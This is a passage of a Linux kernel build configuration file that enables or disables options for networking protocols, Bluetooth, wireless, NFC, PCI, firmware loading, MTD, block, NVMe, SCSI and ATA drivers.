CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NET_DROP_MONITOR=y
# end of Network testing
# end of Networking options

CONFIG_CAN=y
CONFIG_CAN_RAW=y
CONFIG_CAN_BCM=y
CONFIG_CAN_GW=y
CONFIG_CAN_J1939=y
CONFIG_CAN_ISOTP=y
CONFIG_BT=y
CONFIG_BT_BREDR=y
CONFIG_BT_RFCOMM=y
CONFIG_BT_RFCOMM_TTY=y
CONFIG_BT_BNEP=y
CONFIG_BT_BNEP_MC_FILTER=y
CONFIG_BT_BNEP_PROTO_FILTER=y
CONFIG_BT_HIDP=y
CONFIG_BT_LE=y
CONFIG_BT_LE_L2CAP_ECRED=y
CONFIG_BT_6LOWPAN=y
CONFIG_BT_LEDS=y
CONFIG_BT_MSFTEXT=y
# CONFIG_BT_AOSPEXT is not set
# CONFIG_BT_DEBUGFS is not set
# CONFIG_BT_SELFTEST is not set

#
# Bluetooth device drivers
#
CONFIG_BT_INTEL=y
CONFIG_BT_BCM=y
CONFIG_BT_RTL=y
CONFIG_BT_QCA=y
CONFIG_BT_MTK=y
CONFIG_BT_HCIBTUSB=y
CONFIG_BT_HCIBTUSB_AUTOSUSPEND=y
CONFIG_BT_HCIBTUSB_POLL_SYNC=y
CONFIG_BT_HCIBTUSB_BCM=y
CONFIG_BT_HCIBTUSB_MTK=y
CONFIG_BT_HCIBTUSB_RTL=y
# CONFIG_BT_HCIBTSDIO is not set
CONFIG_BT_HCIUART=y
CONFIG_BT_HCIUART_SERDEV=y
CONFIG_BT_HCIUART_H4=y
# CONFIG_BT_HCIUART_NOKIA is not set
CONFIG_BT_HCIUART_BCSP=y
# CONFIG_BT_HCIUART_ATH3K is not set
CONFIG_BT_HCIUART_LL=y
CONFIG_BT_HCIUART_3WIRE=y
# CONFIG_BT_HCIUART_INTEL is not set
# CONFIG_BT_HCIUART_BCM is not set
# CONFIG_BT_HCIUART_RTL is not set
CONFIG_BT_HCIUART_QCA=y
CONFIG_BT_HCIUART_AG6XX=y
CONFIG_BT_HCIUART_MRVL=y
# CONFIG_BT_HCIUART_AML is not set
CONFIG_BT_HCIBCM203X=y
# CONFIG_BT_HCIBCM4377 is not set
CONFIG_BT_HCIBPA10X=y
CONFIG_BT_HCIBFUSB=y
CONFIG_BT_HCIVHCI=y
CONFIG_BT_MRVL=y
CONFIG_BT_MRVL_SDIO=y
CONFIG_BT_ATH3K=y
CONFIG_BT_MTKSDIO=y
CONFIG_BT_MTKUART=y
# CONFIG_BT_VIRTIO is not set
# CONFIG_BT_NXPUART is not set
# CONFIG_BT_INTEL_PCIE is not set
# end of Bluetooth device drivers

CONFIG_AF_RXRPC=y
CONFIG_AF_RXRPC_IPV6=y
# CONFIG_AF_RXRPC_INJECT_LOSS is not set
# CONFIG_AF_RXRPC_INJECT_RX_DELAY is not set
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=y
# CONFIG_RXGK is not set
# CONFIG_RXPERF is not set
CONFIG_AF_KCM=y
CONFIG_STREAM_PARSER=y
CONFIG_MCTP=y
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_CFG80211=y
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_CERTIFICATION_ONUS is not set
CONFIG_CFG80211_REQUIRE_SIGNED_REGDB=y
CONFIG_CFG80211_USE_KERNEL_REGDB_KEYS=y
CONFIG_CFG80211_DEFAULT_PS=y
CONFIG_CFG80211_DEBUGFS=y
CONFIG_CFG80211_CRDA_SUPPORT=y
CONFIG_CFG80211_WEXT=y
CONFIG_MAC80211=y
CONFIG_MAC80211_HAS_RC=y
CONFIG_MAC80211_RC_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel_ht"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
CONFIG_MAC80211_DEBUGFS=y
# CONFIG_MAC80211_MESSAGE_TRACING is not set
# CONFIG_MAC80211_DEBUG_MENU is not set
CONFIG_MAC80211_STA_HASH_MAX_SIZE=0
CONFIG_RFKILL=y
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
# CONFIG_RFKILL_GPIO is not set
CONFIG_NET_9P=y
CONFIG_NET_9P_FD=y
CONFIG_NET_9P_VIRTIO=y
# CONFIG_NET_9P_USBG is not set
CONFIG_NET_9P_RDMA=y
# CONFIG_NET_9P_DEBUG is not set
CONFIG_CEPH_LIB=y
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set
CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y
CONFIG_NFC=y
CONFIG_NFC_DIGITAL=y
CONFIG_NFC_NCI=y
# CONFIG_NFC_NCI_SPI is not set
CONFIG_NFC_NCI_UART=y
CONFIG_NFC_HCI=y
CONFIG_NFC_SHDLC=y

#
# Near Field Communication (NFC) devices
#
# CONFIG_NFC_TRF7970A is not set
# CONFIG_NFC_MEI_PHY is not set
CONFIG_NFC_SIM=y
CONFIG_NFC_PORT100=y
CONFIG_NFC_VIRTUAL_NCI=y
CONFIG_NFC_FDP=y
# CONFIG_NFC_FDP_I2C is not set
# CONFIG_NFC_PN544_I2C is not set
CONFIG_NFC_PN533=y
CONFIG_NFC_PN533_USB=y
# CONFIG_NFC_PN533_I2C is not set
# CONFIG_NFC_PN532_UART is not set
# CONFIG_NFC_MICROREAD_I2C is not set
CONFIG_NFC_MRVL=y
CONFIG_NFC_MRVL_USB=y
# CONFIG_NFC_MRVL_UART is not set
# CONFIG_NFC_MRVL_I2C is not set
# CONFIG_NFC_ST21NFCA_I2C is not set
# CONFIG_NFC_ST_NCI_I2C is not set
# CONFIG_NFC_ST_NCI_SPI is not set
# CONFIG_NFC_NXP_NCI is not set
# CONFIG_NFC_S3FWRN5_I2C is not set
# CONFIG_NFC_S3FWRN82_UART is not set
# CONFIG_NFC_ST95HF is not set
# end of Near Field Communication (NFC) devices

CONFIG_PSAMPLE=y
CONFIG_NET_IFE=y
CONFIG_LWTUNNEL=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
CONFIG_SOCK_VALIDATE_XMIT=y
CONFIG_NET_SELFTESTS=y
CONFIG_NET_SOCK_MSG=y
CONFIG_NET_DEVLINK=y
CONFIG_PAGE_POOL=y
# CONFIG_PAGE_POOL_STATS is not set
CONFIG_FAILOVER=y
CONFIG_ETHTOOL_NETLINK=y

#
# Device Drivers
#
CONFIG_HAVE_PCI=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_PCI=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
CONFIG_HOTPLUG_PCI_PCIE=y
CONFIG_PCIEAER=y
# CONFIG_PCIEAER_INJECT is not set
# CONFIG_PCIE_ECRC is not set
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_DEFAULT=y
# CONFIG_PCIEASPM_POWERSAVE is not set
# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set
# CONFIG_PCIEASPM_PERFORMANCE is not set
CONFIG_PCIE_PME=y
# CONFIG_PCIE_DPC is not set
# CONFIG_PCIE_PTM is not set
CONFIG_PCI_MSI=y
CONFIG_PCI_QUIRKS=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_PF_STUB is not set
CONFIG_PCI_ATS=y
# CONFIG_PCI_TSM is not set
# CONFIG_PCI_DOE is not set
CONFIG_PCI_ECAM=y
CONFIG_PCI_LOCKLESS_CONFIG=y
CONFIG_PCI_IOV=y
# CONFIG_PCI_NPEM is not set
CONFIG_PCI_PRI=y
CONFIG_PCI_PASID=y
# CONFIG_PCIE_TPH is not set
# CONFIG_PCI_P2PDMA is not set
CONFIG_PCI_LABEL=y
# CONFIG_PCI_DYNAMIC_OF_NODES is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_HOTPLUG_PCI=y
# CONFIG_HOTPLUG_PCI_ACPI is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_OCTEONEP is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PCI controller drivers
#
CONFIG_PCI_HOST_COMMON=y
# CONFIG_PCI_FTPCI100 is not set
CONFIG_PCI_HOST_GENERIC=y
# CONFIG_VMD is not set
# CONFIG_PCIE_XILINX is not set

#
# Cadence-based PCIe controllers
#
# CONFIG_PCIE_CADENCE_PLAT_HOST is not set
# CONFIG_PCIE_CADENCE_PLAT_EP is not set
# end of Cadence-based PCIe controllers

#
# DesignWare-based PCIe controllers
#
# CONFIG_PCI_MESON is not set
# CONFIG_PCIE_INTEL_GW is not set
# CONFIG_PCIE_DW_PLAT_HOST is not set
# CONFIG_PCIE_DW_PLAT_EP is not set
# end of DesignWare-based PCIe controllers

#
# Mobiveil-based PCIe controllers
#
# end of Mobiveil-based PCIe controllers

#
# PLDA-based PCIe controllers
#
# CONFIG_PCIE_MICROCHIP_HOST is not set
# end of PLDA-based PCIe controllers
# end of PCI controller drivers

#
# PCI Endpoint
#
CONFIG_PCI_ENDPOINT=y
# CONFIG_PCI_ENDPOINT_CONFIGFS is not set
# CONFIG_PCI_ENDPOINT_MSI_DOORBELL is not set
# CONFIG_PCI_EPF_TEST is not set
# CONFIG_PCI_EPF_NTB is not set
# end of PCI Endpoint

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
# end of PCI switch controller drivers

# CONFIG_PCI_PWRCTRL_GENERIC is not set
# CONFIG_PCI_PWRCTRL_TC9563 is not set
# CONFIG_CXL_BUS is not set
CONFIG_PCCARD=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_RAPIDIO is not set
# CONFIG_PC104 is not set

#
# Generic Driver Options
#
CONFIG_AUXILIARY_BUS=y
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
# CONFIG_DEVTMPFS_SAFE is not set
CONFIG_DRIVER_DEFERRED_PROBE_TIMEOUT=10
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Firmware loader
#
CONFIG_FW_LOADER=y
# CONFIG_FW_LOADER_DEBUG is not set
CONFIG_RUST_FW_LOADER_ABSTRACTIONS=y
CONFIG_FW_LOADER_PAGED_BUF=y
CONFIG_FW_LOADER_SYSFS=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y
CONFIG_FW_LOADER_COMPRESS=y
# CONFIG_FW_LOADER_COMPRESS_XZ is not set
# CONFIG_FW_LOADER_COMPRESS_ZSTD is not set
CONFIG_FW_CACHE=y
# CONFIG_FW_UPLOAD is not set
# end of Firmware loader

CONFIG_WANT_DEV_COREDUMP=y
CONFIG_ALLOW_DEV_COREDUMP=y
CONFIG_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
CONFIG_DEBUG_DEVRES=y
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
CONFIG_GENERIC_CPU_DEVICES=y
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_GENERIC_CPU_VULNERABILITIES=y
CONFIG_REGMAP=y
CONFIG_REGMAP_I2C=y
CONFIG_REGMAP_SPI=y
CONFIG_REGMAP_MMIO=y
CONFIG_REGMAP_IRQ=y
CONFIG_DMA_SHARED_BUFFER=y
# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set
# end of Generic Driver Options

#
# Bus devices
#
# CONFIG_MOXTET is not set
CONFIG_MHI_BUS=y
# CONFIG_MHI_BUS_DEBUG is not set
# CONFIG_MHI_BUS_PCI_GENERIC is not set
# CONFIG_MHI_BUS_EP is not set
# end of Bus devices

CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y

#
# Firmware Drivers
#

#
# ARM System Control and Management Interface Protocol
#
# end of ARM System Control and Management Interface Protocol

# CONFIG_EDD is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
# CONFIG_DMI_SYSFS is not set
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
# CONFIG_ISCSI_IBFT is not set
# CONFIG_FW_CFG_SYSFS is not set
CONFIG_SYSFB=y
# CONFIG_SYSFB_SIMPLEFB is not set
CONFIG_COREBOOT_FIRMWARE=y
# CONFIG_GOOGLE_SMI is not set
# CONFIG_COREBOOT_CBMEM is not set
CONFIG_COREBOOT_TABLE=y
CONFIG_COREBOOT_MEMCONSOLE_COMMON=y
# CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY is not set
# CONFIG_COREBOOT_FRAMEBUFFER is not set
CONFIG_COREBOOT_MEMCONSOLE=y
CONFIG_GOOGLE_VPD=y

#
# Qualcomm firmware drivers
#
# CONFIG_QCOM_PAS is not set
# CONFIG_QCOM_PAS_TEE is not set
# CONFIG_QCOM_SCM is not set
# end of Qualcomm firmware drivers

#
# Tegra firmware driver
#
# end of Tegra firmware driver
# end of Firmware Drivers

# CONFIG_FWCTL is not set
CONFIG_GNSS=y
# CONFIG_GNSS_MTK_SERIAL is not set
# CONFIG_GNSS_SIRF_SERIAL is not set
# CONFIG_GNSS_UBX_SERIAL is not set
CONFIG_GNSS_USB=y
CONFIG_MTD=y
# CONFIG_MTD_TESTS is not set

#
# Partition parsers
#
# CONFIG_MTD_CMDLINE_PARTS is not set
# CONFIG_MTD_OF_PARTS is not set
# CONFIG_MTD_REDBOOT_PARTS is not set
# end of Partition parsers

#
# User Modules And Translation Layers
#
CONFIG_MTD_BLKDEVS=y
CONFIG_MTD_BLOCK=y

#
# Note that in some cases UBI block is preferred. See MTD_UBI_BLOCK.
#
CONFIG_FTL=y
# CONFIG_NFTL is not set
# CONFIG_INFTL is not set
# CONFIG_RFD_FTL is not set
# CONFIG_SSFDC is not set
# CONFIG_SM_FTL is not set
# CONFIG_MTD_OOPS is not set
# CONFIG_MTD_SWAP is not set
# CONFIG_MTD_PARTITIONED_MASTER is not set

#
# RAM/ROM/Flash chip drivers
#
# CONFIG_MTD_CFI is not set
# CONFIG_MTD_JEDECPROBE is not set
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
# CONFIG_MTD_RAM is not set
# CONFIG_MTD_ROM is not set
# CONFIG_MTD_ABSENT is not set
# end of RAM/ROM/Flash chip drivers

#
# Mapping drivers for chip access
#
# CONFIG_MTD_COMPLEX_MAPPINGS is not set
# CONFIG_MTD_PLATRAM is not set
# end of Mapping drivers for chip access

#
# Self-contained MTD device drivers
#
# CONFIG_MTD_PMC551 is not set
# CONFIG_MTD_DATAFLASH is not set
# CONFIG_MTD_MCHP23K256 is not set
# CONFIG_MTD_MCHP48L640 is not set
# CONFIG_MTD_SST25L is not set
CONFIG_MTD_SLRAM=y
CONFIG_MTD_PHRAM=y
CONFIG_MTD_MTDRAM=y
CONFIG_MTDRAM_TOTAL_SIZE=128
CONFIG_MTDRAM_ERASE_SIZE=4
CONFIG_MTD_BLOCK2MTD=y
# CONFIG_MTD_INTEL_DG is not set

#
# Disk-On-Chip Device Drivers
#
# CONFIG_MTD_DOCG3 is not set
# end of Self-contained MTD device drivers

#
# NAND
#
# CONFIG_MTD_ONENAND is not set
# CONFIG_MTD_RAW_NAND is not set
# CONFIG_MTD_SPI_NAND is not set

#
# ECC engine support
#
# CONFIG_MTD_NAND_ECC_SW_HAMMING is not set
# CONFIG_MTD_NAND_ECC_SW_BCH is not set
# CONFIG_MTD_NAND_ECC_MXIC is not set
# end of ECC engine support
# end of NAND

#
# LPDDR & LPDDR2 PCM memory drivers
#
# CONFIG_MTD_LPDDR is not set
# end of LPDDR & LPDDR2 PCM memory drivers

# CONFIG_MTD_SPI_NOR is not set
CONFIG_MTD_UBI=y
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
# CONFIG_MTD_UBI_FASTMAP is not set
# CONFIG_MTD_UBI_GLUEBI is not set
# CONFIG_MTD_UBI_BLOCK is not set
# CONFIG_MTD_UBI_FAULT_INJECTION is not set
# CONFIG_MTD_UBI_NVMEM is not set
# CONFIG_MTD_HYPERBUS is not set
CONFIG_DTC=y
CONFIG_OF=y
# CONFIG_OF_UNITTEST is not set
CONFIG_OF_FLATTREE=y
CONFIG_OF_EARLY_FLATTREE=y
CONFIG_OF_KOBJ=y
CONFIG_OF_ADDRESS=y
CONFIG_OF_IRQ=y
CONFIG_OF_RESERVED_MEM=y
# CONFIG_OF_OVERLAY is not set
CONFIG_OF_NUMA=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_NULL_BLK=y
CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION=y
CONFIG_BLK_DEV_RUST_NULL=y
# CONFIG_BLK_DEV_FD is not set
CONFIG_CDROM=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
CONFIG_ZRAM=y
# CONFIG_ZRAM_BACKEND_LZ4 is not set
# CONFIG_ZRAM_BACKEND_LZ4HC is not set
# CONFIG_ZRAM_BACKEND_ZSTD is not set
# CONFIG_ZRAM_BACKEND_DEFLATE is not set
# CONFIG_ZRAM_BACKEND_842 is not set
CONFIG_ZRAM_BACKEND_FORCE_LZO=y
CONFIG_ZRAM_BACKEND_LZO=y
# CONFIG_ZRAM_DEF_COMP_LZORLE is not set
CONFIG_ZRAM_DEF_COMP_LZO=y
CONFIG_ZRAM_DEF_COMP="lzo"
# CONFIG_ZRAM_WRITEBACK is not set
# CONFIG_ZRAM_TRACK_ENTRY_ACTIME is not set
# CONFIG_ZRAM_MEMORY_TRACKING is not set
# CONFIG_ZRAM_MULTI_COMP is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=16
# CONFIG_BLK_DEV_DRBD is not set
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_ATA_OVER_ETH=y
CONFIG_VIRTIO_BLK=y
# CONFIG_BLK_DEV_RBD is not set
CONFIG_BLK_DEV_UBLK=y
CONFIG_BLKDEV_UBLK_LEGACY_OPCODES=y
CONFIG_BLK_DEV_RNBD=y
CONFIG_BLK_DEV_RNBD_CLIENT=y
# CONFIG_BLK_DEV_ZONED_LOOP is not set

#
# NVME Support
#
CONFIG_NVME_CORE=y
CONFIG_BLK_DEV_NVME=y
CONFIG_NVME_MULTIPATH=y
# CONFIG_NVME_VERBOSE_ERRORS is not set
# CONFIG_NVME_HWMON is not set
CONFIG_NVME_FABRICS=y
CONFIG_NVME_RDMA=y
CONFIG_NVME_FC=y
CONFIG_NVME_TCP=y
# CONFIG_NVME_TCP_TLS is not set
# CONFIG_NVME_HOST_AUTH is not set
CONFIG_NVME_TARGET=y
# CONFIG_NVME_TARGET_DEBUGFS is not set
# CONFIG_NVME_TARGET_PASSTHRU is not set
CONFIG_NVME_TARGET_LOOP=y
CONFIG_NVME_TARGET_RDMA=y
CONFIG_NVME_TARGET_FC=y
CONFIG_NVME_TARGET_FCLOOP=y
CONFIG_NVME_TARGET_TCP=y
# CONFIG_NVME_TARGET_TCP_TLS is not set
# CONFIG_NVME_TARGET_AUTH is not set
# CONFIG_NVME_TARGET_PCI_EPF is not set
# end of NVME Support

#
# Misc devices
#
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_RPMB is not set
# CONFIG_TI_FPC202 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_VMWARE_BALLOON is not set
# CONFIG_LATTICE_ECP3_CONFIG is not set
# CONFIG_SRAM is not set
# CONFIG_DW_XDATA_PCIE is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_XILINX_SDFEC is not set
CONFIG_MISC_RTSX=y
# CONFIG_OPEN_DICE is not set
# CONFIG_NTSYNC is not set
# CONFIG_VCPU_STALL_DETECTOR is not set
# CONFIG_NSM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_MAX6875 is not set
CONFIG_EEPROM_93CX6=y
# CONFIG_EEPROM_IDT_89HPESX is not set
# end of EEPROM support

# CONFIG_CB710_CORE is not set
# CONFIG_SENSORS_LIS3_I2C is not set
# CONFIG_ALTERA_STAPL is not set
CONFIG_INTEL_MEI=y
CONFIG_INTEL_MEI_ME=y
# CONFIG_INTEL_MEI_TXE is not set
# CONFIG_INTEL_MEI_GSC is not set
# CONFIG_INTEL_MEI_CSC is not set
# CONFIG_INTEL_MEI_VSC_HW is not set
# CONFIG_INTEL_MEI_HDCP is not set
# CONFIG_INTEL_MEI_PXP is not set
# CONFIG_INTEL_MEI_GSC_PROXY is not set
CONFIG_VMWARE_VMCI=y
# CONFIG_GENWQE is not set
# CONFIG_BCM_VK is not set
# CONFIG_MISC_ALCOR_PCI is not set
# CONFIG_MISC_RTSX_PCI is not set
CONFIG_MISC_RTSX_USB=y
# CONFIG_UACCE is not set
# CONFIG_PVPANIC is not set
# CONFIG_GP_PCI1XXXX is not set
# CONFIG_KEBA_CP500 is not set
# CONFIG_MISC_RP1 is not set
# CONFIG_INTEL_SSEI is not set
# end of Misc devices

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI_COMMON=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_CHR_DEV_SG=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
CONFIG_SCSI_SAS_LIBSAS=y
CONFIG_SCSI_SAS_ATA=y
# CONFIG_SCSI_SAS_HOST_SMP is not set
CONFIG_SCSI_SRP_ATTRS=y
# end of SCSI Transports

CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
CONFIG_SCSI_HPSA=y
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPI3MR is not set
# CONFIG_SCSI_LEAPRAID is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_MYRB is not set
# CONFIG_SCSI_MYRS is not set
# CONFIG_VMWARE_PVSCSI is not set
# CONFIG_LIBFC is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FDOMAIN_PCI is not set
# CONFIG_SCSI_ISCI is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_EFCT is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_BFA_FC is not set
CONFIG_SCSI_VIRTIO=y
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
# CONFIG_SCSI_DH is not set
# end of SCSI device support

CONFIG_ATA=y
CONFIG_SATA_HOST=y
CONFIG_PATA_TIMINGS=y
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_FORCE=y
CONFIG_ATA_ACPI=y
# CONFIG_SATA_ZPODD is not set
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
CONFIG_SATA_AHCI=y
CONFIG_SATA_MOBILE_LPM_POLICY=3
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_AHCI_DWC is not set
# CONFIG_AHCI_CEVA is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
CONFIG_ATA_PIIX=y
# CONFIG_SATA_DWC is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
CONFIG_PATA_AMD=y
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
CONFIG_PATA_OLDPIIX=y
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
CONFIG_PATA_SCH=y
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_PCMCIA is not set
